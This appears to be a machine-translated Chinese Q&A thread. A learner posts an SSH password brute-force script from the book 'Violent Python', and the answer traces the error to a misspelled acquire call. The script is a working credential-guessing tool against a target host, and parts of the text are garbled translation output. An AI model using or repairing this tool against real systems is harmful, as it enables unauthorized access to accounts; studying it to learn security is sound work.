我正在学习python,通过一本叫做暴力python的书学习,我正在学习一个涉及到制作一个暴力SSH脚本的部分。我遇到了一个错误,无法解决问题或解决方法。在
代码:
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s= pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog ' + \
'-H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='target host')
parser.add_option('-F', dest='passwdFile', type='string', \
help='specify password file')
parser.add_option('-u', dest='user', type='string', \
help='the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acuire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Tread(target=connect, args=(host, user, password, true))
child = t.start()
if __name__ == '__main__':
main()
这是我得到的错误:
^{pr2}$我已经编辑了实际的主机x.x.x.x,但我使用的主机已启动并运行。 任何有助于理解此错误和修复的帮助都会很有帮助。在
你只是有个打字错误;行应该是
如错误所述,
AttributeError: '_BoundedSemaphore' object has no attribute 'acuire'
您试图使用方法acuire,该方法不存在于object*\u BoundedSemaphore*中。在我猜你写得不对,很可能是acquire。在
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